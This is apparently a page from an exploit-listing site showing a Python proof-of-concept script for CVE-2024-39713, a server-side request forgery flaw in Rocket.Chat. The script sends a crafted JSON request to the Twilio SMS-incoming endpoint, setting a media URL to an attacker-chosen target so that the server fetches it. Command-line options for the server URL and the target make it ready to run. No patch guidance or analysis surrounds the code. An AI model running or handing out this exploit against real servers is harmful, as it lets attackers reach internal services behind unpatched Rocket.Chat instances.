4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-39713.py PY
import requests
import json
import argparse


def exploit(url, target):
    headers = {"Content-Type": "application/json"}
    data = {
        "To": "+123",
        "From": "+123",
        "Body": "body",
        "NumMedia": "1",
        "MediaUrl0": target,
        "MediaContentType0": "text/plain"
    }
    
    response = requests.post(url + "/api/v1/livechat/sms-incoming/twilio", headers=headers, data=json.dumps(data))

    if response.status_code == 200:
        print(f"[+] Request sent...")
    else:
        print("[-] Exploit failed")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Rocket.Chat SSRF PoC (CVE-2024-39713)")
    parser.add_argument("-u", "--url", help="Rocket.Chat server URL")
    parser.add_argument("-t", "--target", help="SSRF target")
    args = parser.parse_args()
    
    print("[+] Rocket.Chat SSRF PoC (CVE-2024-39713)")
    
    exploit(args.url, args.target)